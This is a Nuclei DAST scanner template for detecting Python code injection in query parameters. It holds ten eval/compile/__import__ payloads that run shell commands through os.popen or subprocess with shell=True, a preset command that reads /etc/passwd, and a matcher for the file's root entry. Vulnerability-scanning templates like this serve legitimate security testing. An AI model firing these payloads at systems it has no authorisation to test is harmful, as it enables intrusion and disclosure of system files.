nuclei-templates/dast/vulnerabilities/cmdi/python-code-injection.yaml

id: python-code-injection

info:
  name: Python Code Injection
  author: ritikchaddha
  severity: high
  tags: python,dast,injection,cmdi

variables:
  Command: "cat /etc/passwd"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
        # without loop, one expression
        - eval(compile("""__import__('os').popen(r'{{Command}}').read()""",'','single'))
        # without loop, one expression
        - eval(compile("""__import__('subprocess').check_output(r'{{Command}}',shell=True)""",'','single'))
        # without compile
        - __import__('os').popen('{{Command}}').read()
        # multiple expressions, separated by commas
        - str("-"*50),__import__('os').popen('{{Command}}').read()
        # multiple statements, separated by semicolons
        - eval(compile("""__import__('os').popen(r'{{Command}}').read();import time;time.sleep(2)""",'','single'))
        - eval(compile("""__import__('subprocess').check_output(r'{{Command}}',shell=True);import time;time.sleep(2)""",'','single'))
        # with `for` loop technique, without global __import__ using subprocess.popen
        - eval(compile("""for x in range(1):\n import os\n os.popen(r'{{Command}}').read()""",'','single'))
        - eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'{{Command}}',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))
        - eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))

    fuzzing:
      - part: query
        type: replace
        fuzz:
          - "{{injection}}"

    stop-at-first-match: true
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
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